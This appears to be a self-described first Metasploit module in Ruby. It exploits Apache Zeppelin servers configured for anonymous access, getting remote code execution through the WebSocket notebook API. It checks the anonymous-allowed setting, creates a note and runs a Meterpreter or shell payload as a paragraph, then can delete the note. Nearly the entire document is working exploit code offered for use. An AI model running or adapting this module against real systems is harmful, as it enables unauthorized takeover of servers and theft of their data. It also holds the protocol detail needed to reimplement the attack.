Pwn misconfigured Apache Zeppelin (my first ruby / metasploit attempt)

apache_zeppelin_websocket.rb

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::Tcp

  def initialize
    super(
      'Name'          => 'Anonymous Zeppelin Shell',
      'Description'   => 'This module sends a payload',
      'Author'        => 'bcaller',
      'Arch'          => [ ARCH_PYTHON, ARCH_CMD ],
      'Platform'      => ['unix'],
      'Targets'       => [
        [ 'Python payload',  { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
        [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
      ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {
        'PAYLOAD' => 'python/meterpreter/bind_tcp'
      }
    )
    register_options([
      Opt::RPORT(8181),
      OptString.new('TARGETURI', [true, 'The base path', '/ws']),
      OptString.new('INTERPRETER', [true, 'The Zeppelin interpreter to use. When set to "auto", target determines whether "sh" or "python"', 'auto']),
      OptBool.new('COMPLETE', [true, 'Wait for the payload command to fully complete execution and then delete note', false])
    ],)
  end

  def ws_handshake
    path = datastore['TARGETURI']

    #Create HTTP request
    req = [
      "GET #{path} HTTP/1.1",
      "Connection: Upgrade",
      "Host: #{peer}",
      "Sec-WebSocket-Key: #{Rex::Text.rand_text_alpha(rand(10) + 5).to_s}",
      "Sec-WebSocket-Version: 13",
      "Upgrade: websocket",
      "\r\n"
      ].join("\r\n");

    connect
    vprint_status("Making websocket handshake with #{peer}")
    sock.put(req)

    return sock.get_once(-1)  #Attempt to retrieve data from the socket
  end

  def check
    begin
      handshake = self.ws_handshake
      if handshake =~ /101/   #This is the expected HTTP status code. IF it's present, we have a valid upgrade response.
        print_good("WebSocket #{peer}#{datastore['TARGETURI']} connected")
	vprint_line(handshake)
	self.ws_send('{"op":"LIST_CONFIGURATIONS","principal":"anonymous","ticket":"anonymous","roles":"[]"}')
	config = ""
	while (sock.has_read_data?(5) == true)
          Rex::sleep(0.5)  #Prevents data loss when reading too fast
	  config += self.ws_receive
	end
	vprint_line(config)
	if config.length == 0
	  vprint_error("No config returned on WebSocket. Probably need to login.")
	  return Exploit::CheckCode::Safe
	end
	json = JSON::parse(config)
	print_status("Interpreters: #{json["data"]["configurations"]["zeppelin.interpreter.group.order"]}")
	if json["data"]["configurations"]["zeppelin.anonymous.allowed"] == "true"
	  return Exploit::CheckCode::Vulnerable
	else
	  return Exploit::CheckCode::Safe
	end
      else
	print_error("Didn't get a 101 response: Cannot connect to websocket.")
	vprint_line(handshake)
        return Exploit::CheckCode::Unknown
      end

    rescue ::Rex::ConnectionRefused, ::Errno::ECONNRESET, ::EOFError
      print_error("Unable to connect to #{peer}")
      return Exploit::CheckCode::Unknown
    ensure
      disconnect
    end
  end

  def exploit
    lang = datastore['INTERPRETER'] == "auto" ? (target['Arch'] == ARCH_PYTHON ? "python" : "sh") : datastore['INTERPRETER']
    begin
      handshake = self.ws_handshake
      vprint_line(handshake.split("\n")[0])
      if handshake =~ /101/
        print_good("WebSocket #{peer}#{datastore['TARGETURI']} connected")
        note_name = Rex::Text.rand_text_alpha(rand(10) + 10).to_s
        note_message = {
	  "op" => "NEW_NOTE",
	  "data" => {
            "name" => note_name,
	    "defaultInterpreterId" => lang
          },
          "principal" => "anonymous",
          "ticket" => "anonymous",
          "roles" => "[]"
        }
        self.ws_send(note_message.to_json)
	while (sock.has_read_data?(0.5) == true)
          Rex::sleep(0.5)
	  response = self.ws_receive
	  vprint_line(response)
	  json = JSON::parse(response)
	  break if json["op"] == "NEW_NOTE"
	end
	note_id = json["data"]["note"]["id"]
	print_good("Created note #{note_id} #{note_name}")
        begin
	  self.ws_send('{"op":"INSERT_PARAGRAPH","data":{"index":0},"principal":"anonymous","ticket":"anonymous","roles":"[]"}')
	  while (sock.has_read_data?(0.5) == true)
            Rex::sleep(0.5)
	    response = self.ws_receive
	    vprint_line(response)
	    json = JSON::parse(response)
	    break if json["op"] == "PARAGRAPH_ADDED"
	  end
	  paragraph_id = json["data"]["paragraph"]["id"]
	  print_good("Created paragraph #{paragraph_id}")
	  run_message = {
	    "op" => "RUN_PARAGRAPH",
	    "data" => {
              "id" => paragraph_id,
	      "paragraph" => payload.encoded,
              "params" => {},
	      "config" => {
                "colWidth" => 12,
	        "editorMode" => "ace/mode/#{lang}",
                "fontSize" => 9,
                "enabled" => true,
                "results" => {},
                "editorSetting" => {
                  "language" => lang,
                  "editOnDblClick" => false,
                  "completionSupport" => true
                }
	      },
            },
            "principal" => "anonymous",
            "ticket" => "anonymous",
            "roles" => "[]"
          }
          self.ws_send(run_message.to_json)
          job_status = nil
	  while true
            next if !sock.has_read_data?(0.5)
            Rex::sleep(0.5)  #Prevents data loss when reading too fast
	    response = self.ws_receive
	    vprint_line(response)
	    json = JSON::parse(response)
	    if json["op"] == "PARAGRAPH"
              if json["data"]["paragraph"]["status"] != job_status
                job_status = json["data"]["paragraph"]["status"]
                print_status(job_status)
              end
              break if job_status == "RUNNING" and !datastore["COMPLETE"]
              break if json["data"]["paragraph"].key?("results")  # FINISHED or ERROR
            end
	  end
          print_status(json.to_json)
          result = (json["data"]["paragraph"].key?("results") and !json["data"]["paragraph"]["results"]["msg"].empty?) ? json["data"]["paragraph"]["results"]["msg"][0]["data"] : nil
	  if job_status == "ERROR"
            fail_with(Failure::PayloadFailed, result)
          end
          if job_status == "FINISHED"
            print_good(result)
	  end
        ensure
          if datastore["COMPLETE"] or job_status == "ERROR"
	    print_status("Deleting note #{note_id} #{note_name}")
	    self.ws_send('{"op":"DEL_NOTE","data":{"id":' + note_id + '},"principal":"anonymous","ticket":"anonymous","roles":"[]"}')
          end
        end
      else
	print_error("Didn't get a 101 response: Cannot connect to websocket.")
      end
    rescue ::Rex::ConnectionRefused, ::Errno::ECONNRESET, ::EOFError
      print_error("Unable to connect to #{peer}")
      return Exploit::CheckCode::Unknown
    ensure
      disconnect
    end
  end

  def ws_receive
    fin_and_opcode = sock.read(1).bytes
    mask_and_length_indicator = sock.read(1).bytes[0]
    has_mask = mask_and_length_indicator > 128
    length_indicator = if has_mask
			 mask_and_length_indicator - 128
		       else
			 mask_and_length_indicator
		       end

    length =  if length_indicator <= 125
                length_indicator
              elsif length_indicator == 126
                sock.read(2).unpack("n")[0]
              else
                sock.read(8).unpack("Q>")[0]
              end

    if has_mask
      keys = sock.read(4).bytes
    end
    encoded = sock.read(length).bytes

    if has_mask
      decoded = encoded.each_with_index.map do |byte, index|
        byte ^ keys[index % 4]
      end
    else
      decoded = encoded
    end

    decoded.pack("c*")
  end

  def ws_send(message)
    bytes = [129]
    size = message.bytesize

    bytes +=  if size <= 125
                [size + 128]
              elsif size < 2**16
                [126 + 128] + [size].pack("n").bytes
              else
                [127 + 128] + [size].pack("Q>").bytes
              end

    mask = [0, 0, 0, 0]
    bytes += mask
    bytes += message.bytes.map{ |b| b ^ 0 }
    data = bytes.pack("C*")
    sock.put(data)
  end 
end